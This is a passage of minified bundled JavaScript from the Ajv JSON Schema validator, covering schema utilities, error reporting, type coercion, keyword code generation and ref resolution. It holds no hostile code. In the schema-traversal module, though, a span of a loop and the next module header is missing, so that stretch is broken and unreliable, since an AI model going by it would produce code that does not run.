P(C){return(E,k)=>E===e.nil?k:k===e.nil?E:(0,e._)`${L(E)} ${C} ${L(k)}`}function L(C){return C instanceof e.Name?C:(0,e._)`(${C})`}}),Je=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.checkStrictMode=t.getErrorPath=t.Type=t.useFunc=t.setEvaluated=t.evaluatedPropsToName=t.mergeEvaluated=t.eachItem=t.unescapeJsonPointer=t.escapeJsonPointer=t.escapeFragment=t.unescapeFragment=t.schemaRefOrVal=t.schemaHasRulesButRef=t.schemaHasRules=t.checkUnknownRules=t.alwaysValidSchema=t.toHash=void 0;var e=Fe(),r=Wu();function n(x){let w={};for(let T of x)w[T]=!0;return w}t.toHash=n;function a(x,w){return typeof w=="boolean"?w:Object.keys(w).length===0?!0:(s(x,w),!i(w,x.self.RULES.all))}t.alwaysValidSchema=a;function s(x,w=x.schema){let{opts:T,self:R}=x;if(!T.strictSchema||typeof w=="boolean")return;let A=R.RULES.keywords;for(let j in w)A[j]||S(x,`unknown keyword: "${j}"`)}t.checkUnknownRules=s;function i(x,w){if(typeof x=="boolean")return!x;for(let T in x)if(w[T])return!0;return!1}t.schemaHasRules=i;function o(x,w){if(typeof x=="boolean")return!x;for(let T in x)if(T!=="$ref"&&w.all[T])return!0;return!1}t.schemaHasRulesButRef=o;function c({topSchemaRef:x,schemaPath:w},T,R,A){if(!A){if(typeof T=="number"||typeof T=="boolean")return T;if(typeof T=="string")return(0,e._)`${T}`}return(0,e._)`${x}${w}${(0,e.getProperty)(R)}`}t.schemaRefOrVal=c;function u(x){return f(decodeURIComponent(x))}t.unescapeFragment=u;function l(x){return encodeURIComponent(d(x))}t.escapeFragment=l;function d(x){return typeof x=="number"?`${x}`:x.replace(/~/g,"~0").replace(/\//g,"~1")}t.escapeJsonPointer=d;function f(x){return x.replace(/~1/g,"/").replace(/~0/g,"~")}t.unescapeJsonPointer=f;function m(x,w){if(Array.isArray(x))for(let T of x)w(T);else w(x)}t.eachItem=m;function g({mergeNames:x,mergeToName:w,mergeValues:T,resultToName:R}){return(A,j,q,U)=>{let N=q===void 0?j:q instanceof e.Name?(j instanceof e.Name?x(A,j,q):w(A,j,q),q):j instanceof e.Name?(w(A,q,j),j):T(j,q);return U===e.Name&&!(N instanceof e.Name)?R(A,N):N}}t.mergeEvaluated={props:g({mergeNames:(x,w,T)=>x.if((0,e._)`${T} !== true && ${w} !== undefined`,()=>{x.if((0,e._)`${w} === true`,()=>x.assign(T,!0),()=>x.assign(T,(0,e._)`${T} || {}`).code((0,e._)`Object.assign(${T}, ${w})`))}),mergeToName:(x,w,T)=>x.if((0,e._)`${T} !== true`,()=>{w===!0?x.assign(T,!0):(x.assign(T,(0,e._)`${T} || {}`),p(x,T,w))}),mergeValues:(x,w)=>x===!0?!0:{...x,...w},resultToName:b}),items:g({mergeNames:(x,w,T)=>x.if((0,e._)`${T} !== true && ${w} !== undefined`,()=>x.assign(T,(0,e._)`${w} === true ? true : ${T} > ${w} ? ${T} : ${w}`)),mergeToName:(x,w,T)=>x.if((0,e._)`${T} !== true`,()=>x.assign(T,w===!0?!0:(0,e._)`${T} > ${w} ? ${T} : ${w}`)),mergeValues:(x,w)=>x===!0?!0:Math.max(x,w),resultToName:(x,w)=>x.var("items",w)})};function b(x,w){if(w===!0)return x.var("props",!0);let T=x.var("props",(0,e._)`{}`);return w!==void 0&&p(x,T,w),T}t.evaluatedPropsToName=b;function p(x,w,T){Object.keys(T).forEach(R=>x.assign((0,e._)`${w}${(0,e.getProperty)(R)}`,!0))}t.setEvaluated=p;var h={};function y(x,w){return x.scopeValue("func",{ref:w,code:h[w.code]||(h[w.code]=new r._Code(w.code))})}t.useFunc=y;var v;(function(x){x[x.Num=0]="Num",x[x.Str=1]="Str"})(v||(t.Type=v={}));function _(x,w,T){if(x instanceof e.Name){let R=w===v.Num;return T?R?(0,e._)`"[" + ${x} + "]"`:(0,e._)`"['" + ${x} + "']"`:R?(0,e._)`"/" + ${x}`:(0,e._)`"/" + ${x}.replace(/~/g, "~0").replace(/\\//g, "~1")`}return T?(0,e.getProperty)(x).toString():"/"+d(x)}t.getErrorPath=_;function S(x,w,T=x.opts.strictSchema){if(T){if(w=`strict mode: ${w}`,T===!0)throw new Error(w);x.self.logger.warn(w)}}t.checkStrictMode=S}),Ha=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={data:new e.Name("data"),valCxt:new e.Name("valCxt"),instancePath:new e.Name("instancePath"),parentData:new e.Name("parentData"),parentDataProperty:new e.Name("parentDataProperty"),rootData:new e.Name("rootData"),dynamicAnchors:new e.Name("dynamicAnchors"),vErrors:new e.Name("vErrors"),errors:new e.Name("errors"),this:new e.Name("this"),self:new e.Name("self"),scope:new e.Name("scope"),json:new e.Name("json"),jsonPos:new e.Name("jsonPos"),jsonLen:new e.Name("jsonLen"),jsonPart:new e.Name("jsonPart")};t.default=r}),sl=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendErrors=t.resetErrorsCount=t.reportExtraError=t.reportError=t.keyword$DataError=t.keywordError=void 0;var e=Fe(),r=Je(),n=Ha();t.keywordError={message:({keyword:p})=>(0,e.str)`must pass "${p}" keyword validation`},t.keyword$DataError={message:({keyword:p,schemaType:h})=>h?(0,e.str)`"${p}" keyword must be ${h} ($data)`:(0,e.str)`"${p}" keyword is invalid ($data)`};function a(p,h=t.keywordError,y,v){let{it:_}=p,{gen:S,compositeRule:x,allErrors:w}=_,T=d(p,h,y);v??(x||w)?c(S,T):u(_,(0,e._)`[${T}]`)}t.reportError=a;function s(p,h=t.keywordError,y){let{it:v}=p,{gen:_,compositeRule:S,allErrors:x}=v,w=d(p,h,y);c(_,w),S||x||u(v,n.default.vErrors)}t.reportExtraError=s;function i(p,h){p.assign(n.default.errors,h),p.if((0,e._)`${n.default.vErrors} !== null`,()=>p.if(h,()=>p.assign((0,e._)`${n.default.vErrors}.length`,h),()=>p.assign(n.default.vErrors,null)))}t.resetErrorsCount=i;function o({gen:p,keyword:h,schemaValue:y,data:v,errsCount:_,it:S}){if(_===void 0)throw new Error("ajv implementation error");let x=p.name("err");p.forRange("i",_,n.default.errors,w=>{p.const(x,(0,e._)`${n.default.vErrors}[${w}]`),p.if((0,e._)`${x}.instancePath === undefined`,()=>p.assign((0,e._)`${x}.instancePath`,(0,e.strConcat)(n.default.instancePath,S.errorPath))),p.assign((0,e._)`${x}.schemaPath`,(0,e.str)`${S.errSchemaPath}/${h}`),S.opts.verbose&&(p.assign((0,e._)`${x}.schema`,y),p.assign((0,e._)`${x}.data`,v))})}t.extendErrors=o;function c(p,h){let y=p.const("err",h);p.if((0,e._)`${n.default.vErrors} === null`,()=>p.assign(n.default.vErrors,(0,e._)`[${y}]`),(0,e._)`${n.default.vErrors}.push(${y})`),p.code((0,e._)`${n.default.errors}++`)}function u(p,h){let{gen:y,validateName:v,schemaEnv:_}=p;_.$async?y.throw((0,e._)`new ${p.ValidationError}(${h})`):(y.assign((0,e._)`${v}.errors`,h),y.return(!1))}var l={keyword:new e.Name("keyword"),schemaPath:new e.Name("schemaPath"),params:new e.Name("params"),propertyName:new e.Name("propertyName"),message:new e.Name("message"),schema:new e.Name("schema"),parentSchema:new e.Name("parentSchema")};function d(p,h,y){let{createErrors:v}=p.it;return v===!1?(0,e._)`{}`:f(p,h,y)}function f(p,h,y={}){let{gen:v,it:_}=p,S=[m(_,y),g(p,y)];return b(p,h,S),v.object(...S)}function m({errorPath:p},{instancePath:h}){let y=h?(0,e.str)`${p}${(0,r.getErrorPath)(h,r.Type.Str)}`:p;return[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,y)]}function g({keyword:p,it:{errSchemaPath:h}},{schemaPath:y,parentSchema:v}){let _=v?h:(0,e.str)`${h}/${p}`;return y&&(_=(0,e.str)`${_}${(0,r.getErrorPath)(y,r.Type.Str)}`),[l.schemaPath,_]}function b(p,{params:h,message:y},v){let{keyword:_,data:S,schemaValue:x,it:w}=p,{opts:T,propertyName:R,topSchemaRef:A,schemaPath:j}=w;v.push([l.keyword,_],[l.params,typeof h=="function"?h(p):h||(0,e._)`{}`]),T.messages&&v.push([l.message,typeof y=="function"?y(p):y]),T.verbose&&v.push([l.schema,x],[l.parentSchema,(0,e._)`${A}${j}`],[n.default.data,S]),R&&v.push([l.propertyName,R])}}),Uq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.boolOrEmptySchema=t.topBoolOrEmptySchema=void 0;var e=sl(),r=Fe(),n=Ha(),a={message:"boolean schema is false"};function s(c){let{gen:u,schema:l,validateName:d}=c;l===!1?o(c,!1):typeof l=="object"&&l.$async===!0?u.return(n.default.data):(u.assign((0,r._)`${d}.errors`,null),u.return(!0))}t.topBoolOrEmptySchema=s;function i(c,u){let{gen:l,schema:d}=c;d===!1?(l.var(u,!1),o(c)):l.var(u,!0)}t.boolOrEmptySchema=i;function o(c,u){let{gen:l,data:d}=c,f={gen:l,keyword:"false schema",data:d,schema:!1,schemaCode:!1,schemaValue:!1,params:{},it:c};(0,e.reportError)(f,a,void 0,u)}}),U1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRules=t.isJSONType=void 0;var e=["string","number","integer","boolean","null","object","array"],r=new Set(e);function n(s){return typeof s=="string"&&r.has(s)}t.isJSONType=n;function a(){let s={number:{type:"number",rules:[]},string:{type:"string",rules:[]},array:{type:"array",rules:[]},object:{type:"object",rules:[]}};return{types:{...s,integer:!0,boolean:!0,null:!0},rules:[{rules:[]},s.number,s.string,s.array,s.object],post:{rules:[]},all:{},keywords:{}}}t.getRules=a}),H1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.shouldUseRule=t.shouldUseGroup=t.schemaHasRulesForType=void 0;function e({schema:a,self:s},i){let o=s.RULES.types[i];return o&&o!==!0&&r(a,o)}t.schemaHasRulesForType=e;function r(a,s){return s.rules.some(i=>n(a,i))}t.shouldUseGroup=r;function n(a,s){var i;return a[s.keyword]!==void 0||((i=s.definition.implements)===null||i===void 0?void 0:i.some(o=>a[o]!==void 0))}t.shouldUseRule=n}),Zu=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.reportTypeError=t.checkDataTypes=t.checkDataType=t.coerceAndCheckDataType=t.getJSONTypes=t.getSchemaTypes=t.DataType=void 0;var e=U1(),r=H1(),n=sl(),a=Fe(),s=Je(),i;(function(v){v[v.Correct=0]="Correct",v[v.Wrong=1]="Wrong"})(i||(t.DataType=i={}));function o(v){let _=c(v.type);if(_.includes("null")){if(v.nullable===!1)throw new Error("type: null contradicts nullable: false")}else{if(!_.length&&v.nullable!==void 0)throw new Error('"nullable" cannot be used without "type"');v.nullable===!0&&_.push("null")}return _}t.getSchemaTypes=o;function c(v){let _=Array.isArray(v)?v:v?[v]:[];if(_.every(e.isJSONType))return _;throw new Error("type must be JSONType or JSONType[]: "+_.join(","))}t.getJSONTypes=c;function u(v,_){let{gen:S,data:x,opts:w}=v,T=d(_,w.coerceTypes),R=_.length>0&&!(T.length===0&&_.length===1&&(0,r.schemaHasRulesForType)(v,_[0]));if(R){let A=b(_,x,w.strictNumbers,i.Wrong);S.if(A,()=>{T.length?f(v,_,T):h(v)})}return R}t.coerceAndCheckDataType=u;var l=new Set(["string","number","integer","boolean","null"]);function d(v,_){return _?v.filter(S=>l.has(S)||_==="array"&&S==="array"):[]}function f(v,_,S){let{gen:x,data:w,opts:T}=v,R=x.let("dataType",(0,a._)`typeof ${w}`),A=x.let("coerced",(0,a._)`undefined`);T.coerceTypes==="array"&&x.if((0,a._)`${R} == 'object' && Array.isArray(${w}) && ${w}.length == 1`,()=>x.assign(w,(0,a._)`${w}[0]`).assign(R,(0,a._)`typeof ${w}`).if(b(_,w,T.strictNumbers),()=>x.assign(A,w))),x.if((0,a._)`${A} !== undefined`);for(let q of S)(l.has(q)||q==="array"&&T.coerceTypes==="array")&&j(q);x.else(),h(v),x.endIf(),x.if((0,a._)`${A} !== undefined`,()=>{x.assign(w,A),m(v,A)});function j(q){switch(q){case"string":x.elseIf((0,a._)`${R} == "number" || ${R} == "boolean"`).assign(A,(0,a._)`"" + ${w}`).elseIf((0,a._)`${w} === null`).assign(A,(0,a._)`""`);return;case"number":x.elseIf((0,a._)`${R} == "boolean" || ${w} === null - || (${R} == "string" && ${w} && ${w} == +${w})`).assign(A,(0,a._)`+${w}`);return;case"integer":x.elseIf((0,a._)`${R} === "boolean" || ${w} === null - || (${R} === "string" && ${w} && ${w} == +${w} && !(${w} % 1))`).assign(A,(0,a._)`+${w}`);return;case"boolean":x.elseIf((0,a._)`${w} === "false" || ${w} === 0 || ${w} === null`).assign(A,!1).elseIf((0,a._)`${w} === "true" || ${w} === 1`).assign(A,!0);return;case"null":x.elseIf((0,a._)`${w} === "" || ${w} === 0 || ${w} === false`),x.assign(A,null);return;case"array":x.elseIf((0,a._)`${R} === "string" || ${R} === "number" - || ${R} === "boolean" || ${w} === null`).assign(A,(0,a._)`[${w}]`)}}}function m({gen:v,parentData:_,parentDataProperty:S},x){v.if((0,a._)`${_} !== undefined`,()=>v.assign((0,a._)`${_}[${S}]`,x))}function g(v,_,S,x=i.Correct){let w=x===i.Correct?a.operators.EQ:a.operators.NEQ,T;switch(v){case"null":return(0,a._)`${_} ${w} null`;case"array":T=(0,a._)`Array.isArray(${_})`;break;case"object":T=(0,a._)`${_} && typeof ${_} == "object" && !Array.isArray(${_})`;break;case"integer":T=R((0,a._)`!(${_} % 1) && !isNaN(${_})`);break;case"number":T=R();break;default:return(0,a._)`typeof ${_} ${w} ${v}`}return x===i.Correct?T:(0,a.not)(T);function R(A=a.nil){return(0,a.and)((0,a._)`typeof ${_} == "number"`,A,S?(0,a._)`isFinite(${_})`:a.nil)}}t.checkDataType=g;function b(v,_,S,x){if(v.length===1)return g(v[0],_,S,x);let w,T=(0,s.toHash)(v);if(T.array&&T.object){let R=(0,a._)`typeof ${_} != "object"`;w=T.null?R:(0,a._)`!${_} || ${R}`,delete T.null,delete T.array,delete T.object}else w=a.nil;T.number&&delete T.integer;for(let R in T)w=(0,a.and)(w,g(R,_,S,x));return w}t.checkDataTypes=b;var p={message:({schema:v})=>`must be ${v}`,params:({schema:v,schemaValue:_})=>typeof v=="string"?(0,a._)`{type: ${v}}`:(0,a._)`{type: ${_}}`};function h(v){let _=y(v);(0,n.reportError)(_,p)}t.reportTypeError=h;function y(v){let{gen:_,data:S,schema:x}=v,w=(0,s.schemaRefOrVal)(v,x,"type");return{gen:_,keyword:"type",data:S,schema:x.type,schemaCode:w,schemaValue:w,parentSchema:x,params:{},it:v}}}),Hq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.assignDefaults=void 0;var e=Fe(),r=Je();function n(s,i){let{properties:o,items:c}=s.schema;if(i==="object"&&o)for(let u in o)a(s,u,o[u].default);else i==="array"&&Array.isArray(c)&&c.forEach((u,l)=>a(s,l,u.default))}t.assignDefaults=n;function a(s,i,o){let{gen:c,compositeRule:u,data:l,opts:d}=s;if(o===void 0)return;let f=(0,e._)`${l}${(0,e.getProperty)(i)}`;if(u){(0,r.checkStrictMode)(s,`default is ignored for: ${f}`);return}let m=(0,e._)`${f} === undefined`;d.useDefaults==="empty"&&(m=(0,e._)`${m} || ${f} === null || ${f} === ""`),c.if(m,(0,e._)`${f} = ${(0,e.stringify)(o)}`)}}),qr=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateUnion=t.validateArray=t.usePattern=t.callValidateCode=t.schemaProperties=t.allSchemaProperties=t.noPropertyInData=t.propertyInData=t.isOwnProperty=t.hasPropFunc=t.reportMissingProp=t.checkMissingProp=t.checkReportMissingProp=void 0;var e=Fe(),r=Je(),n=Ha(),a=Je();function s(v,_){let{gen:S,data:x,it:w}=v;S.if(d(S,x,_,w.opts.ownProperties),()=>{v.setParams({missingProperty:(0,e._)`${_}`},!0),v.error()})}t.checkReportMissingProp=s;function i({gen:v,data:_,it:{opts:S}},x,w){return(0,e.or)(...x.map(T=>(0,e.and)(d(v,_,T,S.ownProperties),(0,e._)`${w} = ${T}`)))}t.checkMissingProp=i;function o(v,_){v.setParams({missingProperty:_},!0),v.error()}t.reportMissingProp=o;function c(v){return v.scopeValue("func",{ref:Object.prototype.hasOwnProperty,code:(0,e._)`Object.prototype.hasOwnProperty`})}t.hasPropFunc=c;function u(v,_,S){return(0,e._)`${c(v)}.call(${_}, ${S})`}t.isOwnProperty=u;function l(v,_,S,x){let w=(0,e._)`${_}${(0,e.getProperty)(S)} !== undefined`;return x?(0,e._)`${w} && ${u(v,_,S)}`:w}t.propertyInData=l;function d(v,_,S,x){let w=(0,e._)`${_}${(0,e.getProperty)(S)} === undefined`;return x?(0,e.or)(w,(0,e.not)(u(v,_,S))):w}t.noPropertyInData=d;function f(v){return v?Object.keys(v).filter(_=>_!=="__proto__"):[]}t.allSchemaProperties=f;function m(v,_){return f(_).filter(S=>!(0,r.alwaysValidSchema)(v,_[S]))}t.schemaProperties=m;function g({schemaCode:v,data:_,it:{gen:S,topSchemaRef:x,schemaPath:w,errorPath:T},it:R},A,j,q){let U=q?(0,e._)`${v}, ${_}, ${x}${w}`:_,N=[[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,T)],[n.default.parentData,R.parentData],[n.default.parentDataProperty,R.parentDataProperty],[n.default.rootData,n.default.rootData]];R.opts.dynamicRef&&N.push([n.default.dynamicAnchors,n.default.dynamicAnchors]);let G=(0,e._)`${U}, ${S.object(...N)}`;return j!==e.nil?(0,e._)`${A}.call(${j}, ${G})`:(0,e._)`${A}(${G})`}t.callValidateCode=g;var b=(0,e._)`new RegExp`;function p({gen:v,it:{opts:_}},S){let x=_.unicodeRegExp?"u":"",{regExp:w}=_.code,T=w(S,x);return v.scopeValue("pattern",{key:T.toString(),ref:T,code:(0,e._)`${w.code==="new RegExp"?b:(0,a.useFunc)(v,w)}(${S}, ${x})`})}t.usePattern=p;function h(v){let{gen:_,data:S,keyword:x,it:w}=v,T=_.name("valid");if(w.allErrors){let A=_.let("valid",!0);return R(()=>_.assign(A,!1)),A}return _.var(T,!0),R(()=>_.break()),T;function R(A){let j=_.const("len",(0,e._)`${S}.length`);_.forRange("i",0,j,q=>{v.subschema({keyword:x,dataProp:q,dataPropType:r.Type.Num},T),_.if((0,e.not)(T),A)})}}t.validateArray=h;function y(v){let{gen:_,schema:S,keyword:x,it:w}=v;if(!Array.isArray(S))throw new Error("ajv implementation error");if(S.some(j=>(0,r.alwaysValidSchema)(w,j))&&!w.opts.unevaluated)return;let R=_.let("valid",!1),A=_.name("_valid");_.block(()=>S.forEach((j,q)=>{let U=v.subschema({keyword:x,schemaProp:q,compositeRule:!0},A);_.assign(R,(0,e._)`${R} || ${A}`),v.mergeValidEvaluated(U,A)||_.if((0,e.not)(R))})),v.result(R,()=>v.reset(),()=>v.error(!0))}t.validateUnion=y}),Bq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateKeywordUsage=t.validSchemaType=t.funcKeywordCode=t.macroKeywordCode=void 0;var e=Fe(),r=Ha(),n=qr(),a=sl();function s(m,g){let{gen:b,keyword:p,schema:h,parentSchema:y,it:v}=m,_=g.macro.call(v.self,h,y,v),S=l(b,p,_);v.opts.validateSchema!==!1&&v.self.validateSchema(_,!0);let x=b.name("valid");m.subschema({schema:_,schemaPath:e.nil,errSchemaPath:`${v.errSchemaPath}/${p}`,topSchemaRef:S,compositeRule:!0},x),m.pass(x,()=>m.error(!0))}t.macroKeywordCode=s;function i(m,g){var b;let{gen:p,keyword:h,schema:y,parentSchema:v,$data:_,it:S}=m;u(S,g);let x=!_&&g.compile?g.compile.call(S.self,y,v,S):g.validate,w=l(p,h,x),T=p.let("valid");m.block$data(T,R),m.ok((b=g.valid)!==null&&b!==void 0?b:T);function R(){if(g.errors===!1)q(),g.modifying&&o(m),U(()=>m.error());else{let N=g.async?A():j();g.modifying&&o(m),U(()=>c(m,N))}}function A(){let N=p.let("ruleErrs",null);return p.try(()=>q((0,e._)`await `),G=>p.assign(T,!1).if((0,e._)`${G} instanceof ${S.ValidationError}`,()=>p.assign(N,(0,e._)`${G}.errors`),()=>p.throw(G))),N}function j(){let N=(0,e._)`${w}.errors`;return p.assign(N,null),q(e.nil),N}function q(N=g.async?(0,e._)`await `:e.nil){let G=S.opts.passContext?r.default.this:r.default.self,te=!("compile"in g&&!_||g.schema===!1);p.assign(T,(0,e._)`${N}${(0,n.callValidateCode)(m,w,G,te)}`,g.modifying)}function U(N){var G;p.if((0,e.not)((G=g.valid)!==null&&G!==void 0?G:T),N)}}t.funcKeywordCode=i;function o(m){let{gen:g,data:b,it:p}=m;g.if(p.parentData,()=>g.assign(b,(0,e._)`${p.parentData}[${p.parentDataProperty}]`))}function c(m,g){let{gen:b}=m;b.if((0,e._)`Array.isArray(${g})`,()=>{b.assign(r.default.vErrors,(0,e._)`${r.default.vErrors} === null ? ${g} : ${r.default.vErrors}.concat(${g})`).assign(r.default.errors,(0,e._)`${r.default.vErrors}.length`),(0,a.extendErrors)(m)},()=>m.error())}function u({schemaEnv:m},g){if(g.async&&!m.$async)throw new Error("async keyword in sync schema")}function l(m,g,b){if(b===void 0)throw new Error(`keyword "${g}" failed to compile`);return m.scopeValue("keyword",typeof b=="function"?{ref:b}:{ref:b,code:(0,e.stringify)(b)})}function d(m,g,b=!1){return!g.length||g.some(p=>p==="array"?Array.isArray(m):p==="object"?m&&typeof m=="object"&&!Array.isArray(m):typeof m==p||b&&typeof m>"u")}t.validSchemaType=d;function f({schema:m,opts:g,self:b,errSchemaPath:p},h,y){if(Array.isArray(h.keyword)?!h.keyword.includes(y):h.keyword!==y)throw new Error("ajv implementation error");let v=h.dependencies;if(v?.some(_=>!Object.prototype.hasOwnProperty.call(m,_)))throw new Error(`parent schema must have dependencies of ${y}: ${v.join(",")}`);if(h.validateSchema&&!h.validateSchema(m[y])){let S=`keyword "${y}" value is invalid at path "${p}": `+b.errorsText(h.validateSchema.errors);if(g.validateSchema==="log")b.logger.error(S);else throw new Error(S)}}t.validateKeywordUsage=f}),Vq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendSubschemaMode=t.extendSubschemaData=t.getSubschema=void 0;var e=Fe(),r=Je();function n(i,{keyword:o,schemaProp:c,schema:u,schemaPath:l,errSchemaPath:d,topSchemaRef:f}){if(o!==void 0&&u!==void 0)throw new Error('both "keyword" and "schema" passed, only one allowed');if(o!==void 0){let m=i.schema[o];return c===void 0?{schema:m,schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}`,errSchemaPath:`${i.errSchemaPath}/${o}`}:{schema:m[c],schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}${(0,e.getProperty)(c)}`,errSchemaPath:`${i.errSchemaPath}/${o}/${(0,r.escapeFragment)(c)}`}}if(u!==void 0){if(l===void 0||d===void 0||f===void 0)throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"');return{schema:u,schemaPath:l,topSchemaRef:f,errSchemaPath:d}}throw new Error('either "keyword" or "schema" must be passed')}t.getSubschema=n;function a(i,o,{dataProp:c,dataPropType:u,data:l,dataTypes:d,propertyName:f}){if(l!==void 0&&c!==void 0)throw new Error('both "data" and "dataProp" passed, only one allowed');let{gen:m}=o;if(c!==void 0){let{errorPath:b,dataPathArr:p,opts:h}=o,y=m.let("data",(0,e._)`${o.data}${(0,e.getProperty)(c)}`,!0);g(y),i.errorPath=(0,e.str)`${b}${(0,r.getErrorPath)(c,u,h.jsPropertySyntax)}`,i.parentDataProperty=(0,e._)`${c}`,i.dataPathArr=[...p,i.parentDataProperty]}if(l!==void 0){let b=l instanceof e.Name?l:m.let("data",l,!0);g(b),f!==void 0&&(i.propertyName=f)}d&&(i.dataTypes=d);function g(b){i.data=b,i.dataLevel=o.dataLevel+1,i.dataTypes=[],o.definedProperties=new Set,i.parentData=o.data,i.dataNames=[...o.dataNames,b]}}t.extendSubschemaData=a;function s(i,{jtdDiscriminator:o,jtdMetadata:c,compositeRule:u,createErrors:l,allErrors:d}){u!==void 0&&(i.compositeRule=u),l!==void 0&&(i.createErrors=l),d!==void 0&&(i.allErrors=d),i.jtdDiscriminator=o,i.jtdMetadata=c}t.extendSubschemaMode=s}),Wq=ee((t,e)=>{var r=e.exports=function(s,i,o){typeof i=="function"&&(o=i,i={}),o=i.cb||o;var c=typeof o=="function"?o:o.pre||function(){},u=o.post||function(){};n(i,c,u,s,"",s)};r.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0,if:!0,then:!0,else:!0},r.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0},r.propsKeywords={$defs:!0,definitions:!0,properties:!0,patternProperties:!0,dependencies:!0},r.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function n(s,i,o,c,u,l,d,f,m,g){if(c&&typeof c=="object"&&!Array.isArray(c)){i(c,u,l,d,f,m,g);for(var b in c){var p=c[b];if(Array.isArray(p)){if(b in r.arrayKeywords)for(var h=0;h{Object.defineProperty(t,"__esModule",{value:!0}),t.getSchemaRefs=t.resolveUrl=t.normalizeId=t._getFullPath=t.getFullPath=t.inlineRef=void 0;var e=Je(),r=tl(),n=Wq(),a=new Set(["type","format","pattern","maxLength","minLength","maxProperties","minProperties","maxItems","minItems","maximum","minimum","uniqueItems","multipleOf","required","enum","const"]);function s(p,h=!0){return typeof p=="boolean"?!0:h===!0?!o(p):h?c(p)<=h:!1}t.inlineRef=s;var i=new Set(["$ref","$recursiveRef","$recursiveAnchor","$dynamicRef","$dynamicAnchor"]);function o(p){for(let h in p){if(i.has(h))return!0;let y=p[h];if(Array.isArray(y)&&y.some(o)||typeof y=="object"&&o(y))return!0}return!1}function c(p){let h=0;for(let y in p){if(y==="$ref")return 1/0;if(h++,!a.has(y)&&(typeof p[y]=="object"&&(0,e.eachItem)(p[y],v=>h+=c(v)),h===1/0))return 1/0}return h}function u(p,h="",y){y!==!1&&(h=f(h));let v=p.parse(h);return l(p,v)}t.getFullPath=u;function l(p,h){return p.serialize(h).split("#")[0]+"#"}t._getFullPath=l;var d=/#\/?$/;function f(p){return p?p.replace(d,""):""}t.normalizeId=f;function m(p,h,y){return y=f(y),p.resolve(h,y)}t.resolveUrl=m;var g=/^[a-z_][-a-z0-9._]*$/i;function b(p,h){if(typeof p=="boolean")return{};let{schemaId:y,uriResolver:v}=this.opts,_=f(p[y]||h),S={"":_},x=u(v,_,!1),w={},T=new Set;return n(p,{allKeys:!0},(j,q,U,N)=>{if(N===void 0)return;let G=x+q,te=S[N];typeof j[y]=="string"&&(te=ce.call(this,j[y])),le.call(this,j.$anchor),le.call(this,j.$dynamicAnchor),S[q]=te;function ce(ne){let H=this.opts.uriResolver.resolve;if(ne=f(te?H(te,ne):ne),T.has(ne))throw A(ne);T.add(ne);let P=this.refs[ne];return typeof P=="string"&&(P=this.refs[P]),typeof P=="object"?R(j,P.schema,ne):ne!==f(G)&&(ne[0]==="#"?(R(j,w[ne],ne),w[ne]=j):this.refs[ne]=G),ne}function le(ne){if(typeof ne=="string"){if(!g.test(ne))throw new Error(`invalid anchor "${ne}"`);ce.call(this,`#${ne}`)}}}),w;function R(j,q,U){if(q!==void 0&&!r(j,q))throw A(U)}function A(j){return new Error(`reference "${j}" resolves to more than one schema`)}}t.getSchemaRefs=b}),ol=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getData=t.KeywordCxt=t.validateFunctionCode=void 0;var e=Uq(),r=Zu(),n=H1(),a=Zu(),s=Hq(),i=Bq(),o=Vq(),c=Fe(),u=Ha(),l=il(),d=Je(),f=sl();function m(O){if(x(O)&&(T(O),S(O))){h(O);return}g(O,()=>(0,e.topBoolOrEmptySchema)(O))}t.validateFunctionCode=m;function g({gen:O,validateName:I,schema:z,schemaEnv:Z,opts:K},ue){K.code.es5?O.func(I,(0,c._)`${u.default.data}, ${u.default.valCxt}`,Z.$async,()=>{O.code((0,c._)`"use strict"; ${v(z,K)}`),p(O,K),O.code(ue)}):O.func(I,(0,c._)`${u.default.data}, ${b(K)}`,Z.$async,()=>O.code(v(z,K)).code(ue))}function b(O){return(0,c._)`{${u.default.instancePath}="", ${u.default.parentData}, ${u.default.parentDataProperty}, ${u.default.rootData}=${u.default.data}${O.dynamicRef?(0,c._)`, ${u.default.dynamicAnchors}={}`:c.nil}}={}`}function p(O,I){O.if(u.default.valCxt,()=>{O.var(u.default.instancePath,(0,c._)`${u.default.valCxt}.${u.default.instancePath}`),O.var(u.default.parentData,(0,c._)`${u.default.valCxt}.${u.default.parentData}`),O.var(u.default.parentDataProperty,(0,c._)`${u.default.valCxt}.${u.default.parentDataProperty}`),O.var(u.default.rootData,(0,c._)`${u.default.valCxt}.${u.default.rootData}`),I.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`${u.default.valCxt}.${u.default.dynamicAnchors}`)},()=>{O.var(u.default.instancePath,(0,c._)`""`),O.var(u.default.parentData,(0,c._)`undefined`),O.var(u.default.parentDataProperty,(0,c._)`undefined`),O.var(u.default.rootData,u.default.data),I.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`{}`)})}function h(O){let{schema:I,opts:z,gen:Z}=O;g(O,()=>{z.$comment&&I.$comment&&N(O),j(O),Z.let(u.default.vErrors,null),Z.let(u.default.errors,0),z.unevaluated&&y(O),R(O),G(O)})}function 